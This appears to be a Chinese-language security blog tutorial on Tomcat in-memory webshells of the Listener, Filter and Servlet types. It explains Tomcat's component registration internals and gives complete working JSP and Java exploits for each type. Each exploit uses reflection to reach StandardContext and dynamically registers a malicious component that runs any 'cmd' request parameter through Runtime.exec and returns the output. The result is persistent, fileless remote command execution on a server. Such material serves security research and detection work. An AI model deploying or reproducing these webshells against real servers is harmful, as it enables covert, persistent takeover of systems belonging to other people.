Tomcat型内存马

Tomcat内存马大致可以分为三类:Listener型、Filter型、Servlet型,也就是Java Web核心的三大组件,Tomcat内存马的核心原理就是动态地将恶意组件动态注册到正在运行的Tomcat服务器中。
主要解决两个核心问题:

  1. 在每个组件什么位置执行恶意命令
  2. 每个组件动态注册的流程和方法

添加tomcat依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.70</version>
</dependency>

在此之前需要理解Tomcat整体架构基础:https://lemono.fun/tomcat/

一、Listener内存马

内存马注入位置-requestInitialized

Listener根据事件源不同大致可分为以下三类:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

这里用到的则是ServletRequestListener,因为他使用来监听ServletRequest对象,在该接口中定义了两个默认方法,其中requestInitialized的作用是在初始化资源时便会加载该方法,因此在这个方法下用来做编写内存马的地方极为合适。
编写一个Listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@WebListener(value = "/") //需要使用注解才能起作用
public class Listener_Shell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest servletRequest = sre.getServletRequest();
System.out.println("初始化操作!!!");
System.out.println(servletRequest);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {

}
}

image.png
通过getServletRequest获得一个ServletRequest类型的返回,但是在打印结果时可以看到是RequestFacade类型,跟进该方法:
image.png
对于ServletRequest接口,可以看到具体应该是由RequestFacade实现的
image.png
并且RequestFacade中存在我们需要的request,通过反射便可获取,因此我们便可拿到request在listener中操纵http(request和response)
image.png
使用.java形式构造一个恶意Listener:
Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@WebListener(value = "/")
public class Listener_Shell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest servletRequest = sre.getServletRequest();
try { //反射拿到request和response
Field declaredField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
declaredField.setAccessible(true);
Request request = (Request) declaredField.get(servletRequest);
System.out.println(request);
Response response = request.getResponse();
PrintWriter writer = response.getWriter();
java.lang.String cmd = request.getParameter("cmd");
// 命令执行回显
if (cmd != null) {
int i = 0;
byte[] bytes = new byte[2048];
InputStream calc = Runtime.getRuntime().exec(cmd).getInputStream();
if ((i = calc.read(bytes)) != -1) {
writer.println(new String(bytes));
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException | IOException e) {
throw new RuntimeException(e);
}

}
@Override
public void requestDestroyed(ServletRequestEvent sre) {

}
}

image.png

Listener注册流程

listernersStart

知道了Listener注入木马的位置,那么还需要知道Listener的整个注册流程才能更好的为后来自动注册内存马。
在开始处断点,查看整个调用栈,会经过listenerStart启动listener
image.png
根据上面的解释来看,就是为Context配置实例化的listener实例并当所有的listeners都被初始化后返回true
image.png
findApplicationListeners加载listener类名,来自于web.xm或者注解中image.png
紧跟着根据类名实例化所有的listener,
image.png
条件判断,添加到ArrayList中
image.png
重新将上面获得的新的listeners覆盖xml或注解中定义的listeners(就是避免因为其他因素插入了其他listeners)
image.png
setApplicationEventListeners中首先就是clear清空listenerslist,再添加新的listeners
image.png

fireRequestInitEvent

通过上面添加了恶意listeners,下一步就是调用listeners
在命令执行的地方断点,当执行到这里时发现调用了fireRequestInitEvent,跟进方法
image.png
首先就是getApplicationEventListeners,在上面已经说的很明确了,获取加载的listenrers
image.png
同样该类型的操作大概有三种,get、set、add,且还是位于StandardContext下,我们可以通过addApplicationEventListener任意添加一个listener(后续会用到)
image.png
因此listener就是我们的恶意Listener_Shell,因为已经实例化过,所以直接调用他的requestInitialized,也就是我们最初写入内存马的位置。至此就全部连接起来了。
image.png
所以我们注册listener内存马的思路这样:
image.png

Exp

listenerShell.jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>lemono</title>
</head>
<body>
<%!
public class Listener_Shell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
try {
Field declaredField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
declaredField.setAccessible(true);
Request req = (Request) declaredField.get(request);
Response response = req.getResponse(); //拿到response
//命令执行回显
String cmd = request.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String str = null;
while ((str = bufferedReader.readLine()) != null) {
stringBuffer.append(str + "\n");
}
response.getWriter().println(stringBuffer.toString());
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext context = (StandardContext) req.getContext(); //拿到StandardContext,两种方法
//第二种
// ServletContext servletContext = request.getServletContext();
// System.out.println(servletContext);
// Field applicationContext = servletContext.getClass().getDeclaredField("context");
// applicationContext.setAccessible(true);
// ApplicationContext applicationContextField = (ApplicationContext) applicationContext.get(servletContext);
// Field standardcontextfield = applicationContextField.getClass().getDeclaredField("context");
// standardcontextfield.setAccessible(true);
// StandardContext standardContext = (StandardContext) standardcontextfield.get(applicationContextField);

Listener_Shell shell_Listener = new Listener_Shell();
context.addApplicationEventListener(shell_Listener); //add添加恶意listener
%>
</body>
</html>

首先访问listenerShell2.jsp注入内存马
image.png
随后即可在任意位置通过cmd参数执行命令
image.png

二、Filter内存马

Filter注入位置

每一个filter的实现都是通过实现javax.servlet.Filter接口,并重写下面的三个方法,init、doFilter、destroy,并最终在doFilter方法中写入我们的filter过滤逻辑。在doFilter最后以chain.doFilter(request,response);收尾。因此选择在doFilter中写入可以回显的命令执行木马:
Poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.memshell.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

// @WebFilter(filterName = "filter_Demo",value = "/*")
public class Filter_Demo implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter 初始化");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");

PrintWriter writer = response.getWriter();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[2048];
if ((i = inputStream.read(bytes)) != -1) {
writer.println(new String(bytes));
}
}
System.out.println("doFilter");
chain.doFilter(request,response);
}


@Override
public void destroy() {
System.out.println("filter destroy");
}
}

配置web.xml使filter生效(也可注解),主要就是filter-name和url-pattern
web.xml:

1
2
3
4
5
6
7
8
<filter>
<filter-name>Filter</filter-name>
<filter-class>com.example.memshell.filter.Filter_Demo</filter-class>
</filter>
<filter-mapping>
<filter-name>Filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

启动Tomcat:传入参数即可执行命令image.png

Filter动态注册流程

分析内存马的关键类是StandardContext,在Tomcat动态注册中大多都用到了该类下的get、set或者add方法,并且几乎所有的配置都是从这里开始调用,比如这里的filterStart:配置以及初始化filter到Context中,跟进filterStart
image.png
首先是循环遍历filterDefs中的值,起初filterDefs中包含两个filter:WsFilter和Filter(自己在web.xml中配置的),
WsFilter本身是Tomcat为WebSocket连接初始化HTTP连接定义的filter,用于判断当前请求是否为WebSocket请求,以便完成握手过程。
image.png

FilterDef

filterDefs本身是一个HashMap,存储的是FilterDef对象,而FilterDef是从配置的web.xml中拿到filterName和filterClass,这一步早在filterStart之前就已经做完,最开始的一步应该是parse解析web.xml中信息,包括listener、filter、servlet
image.png
image.png
从web.xml中拿到filterName和filterClass后,调用对应的set方法设置值,并最终在standardContext#addFilterDef中将对应的信息加载到filterDefs中,这也是Tomcat在动态注册filter很关键的一步。
image.png
image.png
image.png

FilterMap

回到刚才的位置,直接看第二次for循环(遍历我们定义的Filter)
来到第二个关键点:filterConfig

1
2
3
4
5
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
}

ApplicationFilterConfig中赋值context为StandardContext,判断当前Filter是否为空,主要作用就是针对从web.xml中加载出来的filter,通过调试可以明显的看到:当第一次循环WsFilter进入时getFilter是不为null,直接来到newInstance实例化,当第二次循环为我们定义的filter时,因为是从web.xml中加载,仅仅只有filterName和filterClass,并不是真正的filter,所以getFilter为null,于是再通过ApplicationFilterConfig#getFilter实现newInstance实例化。核心步骤是一样的,只是多了一些判断。
image.png
image.png
接着就是将filterConfig put到filterConfigs中
此时大概是这样,多了另一个东西:filterMaps
image.png
在filterMaps中的FilterMap中,可见包含了两个值:WsFilter和Filter,根据后面的值可以清楚看到它主要记录的是filter的filterName和urlPattern,同样是从web.xml中解析加载。
filterMaps来源于StandardContext$ContextFilterMaps(内部类),通过add方法加载传进来的filterMap
image.png
filterMap作为FilterMap对象,与FilterDef一样,解析web.xml并调用对应的set或者add方法,不同的是filterMap中存储的是filterName和urlPattern,且filterMap是执行在filterDef之后的。
image.png
到这一个真正的Filter基本已经注册完毕,主要为三个东西:filterDefs、filterMaps、filterConfigs,这也是Tomcat在动态注册Filter时的三个操作。所以我们的思路就是代码中构造这三个东西。步骤如下:

  1. 首先获取StandardContext
  2. 创建FilterDef(FilterName和FIlterClass)
  3. 创建FilterMap(FilterName和URLPattern)
  4. 从StandardContext中拿到filterConfigs并put(FilterName,filterConfig)

Filter注册完成后,下一步便是Filter的调用和执行,接下来分析Filter是如何执行的

Filter执行流程

在写好的Filter_Demo#doFilter下断点,先看调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
doFilter:20, Filter_Demo (com.example.memshell.filter)
internalDoFilter:189 ApplicationFilterChain (org.apache.catalina.core)
doFilter:162 ApplicationFilterChain (org.apache.catalina.core)
invoke:177 StandardWrapperValve (org.apache.catalina.core)
invoke:97 StandardContextValve (org.apache.catalina.core)
invoke:541 AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135 StandardHostValve (org.apache.catalina.core)
invoke:92 ErrorReportValve (org.apache.catalina.valves)
invoke:687 AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78 StandardEngineValve (org.apache.catalina.core)
service:360 CoyoteAdapter (org.apache.catalina.connector)
service:399 Http11Processor (org.apache.coyote.http11)
process:65 AbstractProcessorLight (org.apache.coyote)
process:891 AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1784, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49 SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191 ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

跟进ApplicationFilterChain#internalDoFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

......

} else {
servlet.service(request, response);
}

该方法的作用的是通过pos递增遍历filters,并调用其各自的filter.doFilter(即ApplicationFilterChain#doFilter),当遍历完时来到末尾的servlet.service()结束。
filters作为一个数组,包含了传入的两个ApplicationFilterConfig,追踪后发现在StandardWrapperValve中存在创建filterChain
image.png
image.png
ApplicationFilterFactory#createFilterChain,通过StandardContext创建filterChain,所以在我们写的每个Filter最后都是以chain.doFilter结尾,就是为了调用起整个filterChain,直到最后的servlet.service。
image.png
image.png

Exp编写:

通过Filter动态注册流程分析,只要构造FilterDef和FilterMap并放到FilterConfig中便可完成Filter的注册工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%--
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Filter</title>
</head>
<body>
<%!
public class Filter_Shell implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[2048];
if ((i = inputStream.read(bytes)) != -1) {
writer.println(new String(bytes));
}
}
chain.doFilter(request,response);
}
}
%>

<%
//拿到StandardContext
ServletContext servletContext = request.getServletContext();
Field declaredField = servletContext.getClass().getDeclaredField("context");
declaredField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

String filter_Name = "filter";
Filter_Shell filterShell = new Filter_Shell();

//FilterDef定义filter
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filter_Name);
filterDef.setFilter(filterShell);
filterDef.setFilterClass(filterShell.getClass().getName());
standardContext.addFilterDef(filterDef);

//filterMap参照web.xml配置name和urlpattern
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filter_Name);
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);

//StandardContext#filterStart的实现步骤
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
filterConfigs.put(filter_Name,applicationFilterConfig);

%>
</body>
</html>

jsp代码实现,先访问filterShell.jsp注册filter,再执行命令;因为是/*,所以任意url都可执行命令。
image.png

三、Servlet内存马

Servle注入位置

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.example.memshell.servlet;

import javax.jws.WebService;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.*;

@WebServlet("/shell")
public class Servlet_Shell implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("init~");
}

@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String str = null;
while ((str = bufferedReader.readLine()) != null) {
stringBuffer.append(str + "\n");
}
res.getWriter().println(stringBuffer.toString());
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

Servlet生命周期:

  1. 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  2. 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  3. 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  4. 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
  5. 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

因此我们的恶意执行代码的地方就是在service中,当使用浏览器访问定义的url时便会执行service中的恶意代码。

Servlet动态注册流程

在filter动态注册中提到,开始的位置几乎都为StandardContext#startInternal,从中可以明确的看到执行顺序:listener -> filter -> servlet
那么在此之前有一个重要的操作:从web.xml(也包括注解)中加载相关配置,name和className等,三大组件同样都存在这个操作。
在ContextConfig.configureContext中,主要做的便是从web.xml中加载配置,并为servlet创建wrapper。wrapper本质上是servlet的容器,继承自ContainerBase类,实现了Servlet的接口,他负责接受请求并将其传递给对应servlet实例,管理整个servlet的生命周期,包括装载、初始化、销毁等。
这里从web.xml中遍历所有servlet,其中也包括Servlet_Shell恶意serlvet,然后调用createWrapper为其创建对应的Wrapper
image.png
image.png
拿到wrapper后便是将对应的name和className注入到其中,这就是servlet的大致注入流程。
image.png
提取其中关键点如下:

wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper); //context -> standardContext
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

因此exp就很简单了,按这个步骤实现即可:

Exp

servletShell.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>ServletShell</title>
</head>
<body>
<%!
public class Servlet_Shell implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("init~");
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
//命令回显
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String str = null;
while ((str = bufferedReader.readLine()) != null) {
stringBuffer.append(str + "\n");
}
res.getWriter().println(stringBuffer.toString());
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

%>
<%
//获取standardContext
Field declaredField = request.getClass().getDeclaredField("request");
declaredField.setAccessible(true);
Request req = (Request) declaredField.get(request);
Context standardContext = req.getContext();

//动态注册servlet
Servlet_Shell servletShell = new Servlet_Shell();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("Shell");
wrapper.setServletClass(servletShell.getClass().getName());
wrapper.setServlet(servletShell); //需要将servlet添加进来
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servlet_shell","Shell");
%>
</body>
</html>

image.png

小结

Tomcat型内存马利用的是tomcat动态注册实现,主要体现在StandardContext中,底层调用该类下的方法实现了很多动态注册中的关键步骤,整个流程总体来讲与Tomcat的整个架构紧密相关。image.png

参考链接:
http://wjlshare.com/archives/1651

https://goodapple.top/archives/1355#header-id-90

https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/